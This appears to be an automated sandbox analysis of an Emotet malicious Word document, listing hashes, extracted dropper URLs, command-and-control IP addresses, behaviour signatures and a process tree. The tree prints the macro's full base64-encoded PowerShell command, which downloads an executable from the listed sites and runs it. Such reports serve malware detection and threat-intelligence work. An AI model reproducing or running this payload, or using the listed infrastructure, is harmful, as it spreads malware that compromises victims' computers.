Analysis

  • max time kernel
    59s
  • max time network
    109s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    18/08/2020, 15:12

General

  • Target
    emotet_e1_46411363967383fde95f164b6ca16cdf6f2da8a1269ee7c150b892d445cc9f20_2020-08-18__151033._doc.doc
  • Size 178KB
  • Sample200818-w2c89599w6
  • SHA256 46411363967383fde95f164b6ca16cdf6f2da8a1269ee7c150b892d445cc9f20
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://jamesmalonefabrics.com/wp-admin/YS2TYA3NbL/

  • exe.dropper

    https://www.inudyog.com/wp-admin/i2/

  • exe.dropper

    https://88yinliu.com/wp-admin/VffcvPGr/

  • exe.dropper

    http://guarany.net/zefiro/gSI5r781/

  • exe.dropper

    https://www.thedcsstudio.com/wp-content/23Q1D22128/

  • exe.dropper

    http://bethagroup.com.au/3GrPP0533/

Extracted

Family
  • emotet

C2
  • 82.163.245.38:80

  • 209.126.6.222:8080

  • 5.153.250.14:8080

  • 186.70.127.199:8090

  • 190.128.173.10:80

  • 190.195.129.227:8090

  • 91.219.169.180:80

  • 45.173.88.33:80

  • 185.33.0.233:80

  • 188.2.217.94:80

  • 207.144.103.227:80

  • 45.161.242.102:80

  • 219.92.13.25:80

  • 190.163.31.26:80

  • 68.183.170.114:8080

  • 191.99.160.58:80

  • 73.213.208.163:80

  • 94.176.234.118:443

  • 104.131.41.185:8080

  • 45.33.77.42:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_46411363967383fde95f164b6ca16cdf6f2da8a1269ee7c150b892d445cc9f20_2020-08-18__151033._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1480
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABUADUAbABmAHkAZgA4AD0AKAAnAFAAZgAnACsAJwA2AGwAOAB2ACcAKwAnAHoAJwApADsALgAoACcAbgAnACsAJwBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBuAHYAOgB0AEUAbQBwAFwAbwBmAEYASQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAYABVAGAAUgBJAFQAeQBwAHIAbwBgAFQAbwBjAGAAbwBMACIAIAA9ACAAKAAnAHQAJwArACcAbABzADEAJwArACcAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAJwArACcAcwAnACkAOwAkAFoAYQBvAGsAXwBrADcAIAA9ACAAKAAnAE0AegBfADAAZgBmACcAKwAnADMANwBvACcAKQA7ACQAWQB2AGUAOAAzADUAOAA9ACgAJwBWAGQAaABtAGIAJwArACcAbgBvACcAKQA7ACQATgBrADAAYwA1ADcAbQA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAbgBUAHMATwAnACsAJwBmAGYAJwArACcAaQBjAGUAMgAwADEAOQBuAFQAcwAnACkAIAAgAC0AYwBSAEUAUABMAEEAYwBFACcAbgBUAHMAJwAsAFsAQwBoAEEAUgBdADkAMgApACsAJABaAGEAbwBrAF8AawA3ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABMAHkAYgBiAGMAbwBsAD0AKAAnAFUAawBrADkAJwArACcAbwAnACsAJwB3AGMAJwApADsAJABNAF8AbwBzAGkAZABpAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABOAEUAVAAuAHcAZQBCAEMAbABpAEUAbgB0ADsAJABUADIAdgA5AHYAdABoAD0AKAAnAGgAdAB0AHAAOgAvAC8AagBhAG0AZQBzAG0AYQAnACsAJwBsAG8AbgAnACsAJwBlAGYAYQAnACsAJwBiACcAKwAnAHIAJwArACcAaQBjAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvACcAKwAnAFkAUwAyAFQAJwArACcAWQBBADMATgBiAEwALwAqAGgAdAAnACsAJwB0AHAAcwAnACsAJwA6AC8ALwB3AHcAdwAuAGkAbgAnACsAJwB1AGQAJwArACcAeQAnACsAJwBvAGcALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvAGkAMgAvACoAaAB0AHQAcABzADoALwAvADgAOAB5ACcAKwAnAGkAJwArACcAbgBsAGkAdQAuACcAKwAnAGMAbwBtAC8AJwArACcAdwBwACcAKwAnAC0AYQAnACsAJwBkACcAKwAnAG0AaQAnACsAJwBuAC8AVgBmAGYAYwB2AFAARwByAC8AJwArACcAKgBoAHQAdABwADoAJwArACcALwAvAGcAdQBhAHIAYQAnACsAJwBuAHkALgBuACcAKwAnAGUAdAAvAHoAJwArACcAZQBmAGkAcgBvACcAKwAnAC8AJwArACcAZwBTAEkANQByACcAKwAnADcAOAAxAC8AKgBoAHQAdABwAHMAJwArACcAOgAvAC8AdwB3AHcALgB0AGgAJwArACcAZQBkACcAKwAnAGMAcwBzAHQAdQBkAGkAbwAuAGMAbwBtAC8AdwAnACsAJwBwACcAKwAnAC0AYwBvAG4AdAAnACsAJwBlACcAKwAnAG4AdAAvADIAMwBRACcAKwAnADEARAAyADIAJwArACcAMQAyADgALwAqAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AYgBlACcAKwAnAHQAaABhAGcAcgBvAHUAcAAuACcAKwAnAGMAbwBtAC4AYQB1ACcAKwAnAC8AMwBHAHIAUABQADAANQAzACcAKwAnADMALwAnACkALgAiAHMAUABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQBjAGgAbAB0AHoAbwA9ACgAJwBLAGwAJwArACcAMwB3ADQAZgB5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQAMwBlAHYAOQBzAHMAIABpAG4AIAAkAFQAMgB2ADkAdgB0AGgAKQB7AHQAcgB5AHsAJABNAF8AbwBzAGkAZABpAC4AIgBEAG8AVwBuAGAATABgAE8AYQBkAGAARgBJAGwAZQAiACgAJABEADMAZQB2ADkAcwBzACwAIAAkAE4AawAwAGMANQA3AG0AKQA7ACQATwA2AHoAZAA2AG4AdQA9ACgAJwBHADEAZQAnACsAJwByAHQAXwBoACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABOAGsAMABjADUANwBtACkALgAiAGwAZQBuAEcAYABUAGgAIgAgAC0AZwBlACAAMgA0ADIAOAAwACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawBlACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAKAAkAE4AawAwAGMANQA3AG0AKQA7ACQAVQB2ADAAZgBjADMAMgA9ACgAJwBBAHgAMgB4ADEAdwAnACsAJwB5ACcAKQA7AGIAcgBlAGEAawA7ACQAUgBuAHQAOABfAHUAcAA9ACgAJwBSAGIANQAnACsAJwB2ADkAcgAnACsAJwBwACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwB2AGEAdgB6AHIAcgA9ACgAJwBZADUANgAyACcAKwAnADUAOAB1ACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1804
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Mz_0ff37o.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Mz_0ff37o.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1548
      • C:\Windows\SysWOW64\pstorec\NlsData0021.exe
        "C:\Windows\SysWOW64\pstorec\NlsData0021.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1928

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1480-4-0x0000000006D70000-0x0000000006F70000-memory.dmp

        memory/1480-5-0x000000000AEB0000-0x000000000AEB4000-memory.dmp

        memory/1480-6-0x000000000BF30000-0x000000000BF34000-memory.dmp

        memory/1480-2-0x0000000008A90000-0x0000000008A94000-memory.dmp

        memory/1548-18-0x00000000003A0000-0x00000000003AC000-memory.dmp

        memory/1804-9-0x000007FEEE870000-0x000007FEEF25C000-memory.dmp

        memory/1804-15-0x000000001C340000-0x000000001C341000-memory.dmp

        memory/1804-14-0x000000001B5F0000-0x000000001B5F1000-memory.dmp

        memory/1804-13-0x0000000002300000-0x0000000002301000-memory.dmp

        memory/1804-12-0x0000000002810000-0x0000000002811000-memory.dmp

        memory/1804-11-0x000000001AB10000-0x000000001AB11000-memory.dmp

        memory/1804-10-0x00000000023A0000-0x00000000023A1000-memory.dmp

        memory/1928-22-0x0000000000280000-0x000000000028C000-memory.dmp

        memory/1980-23-0x000007FEE5220000-0x000007FEE549A000-memory.dmp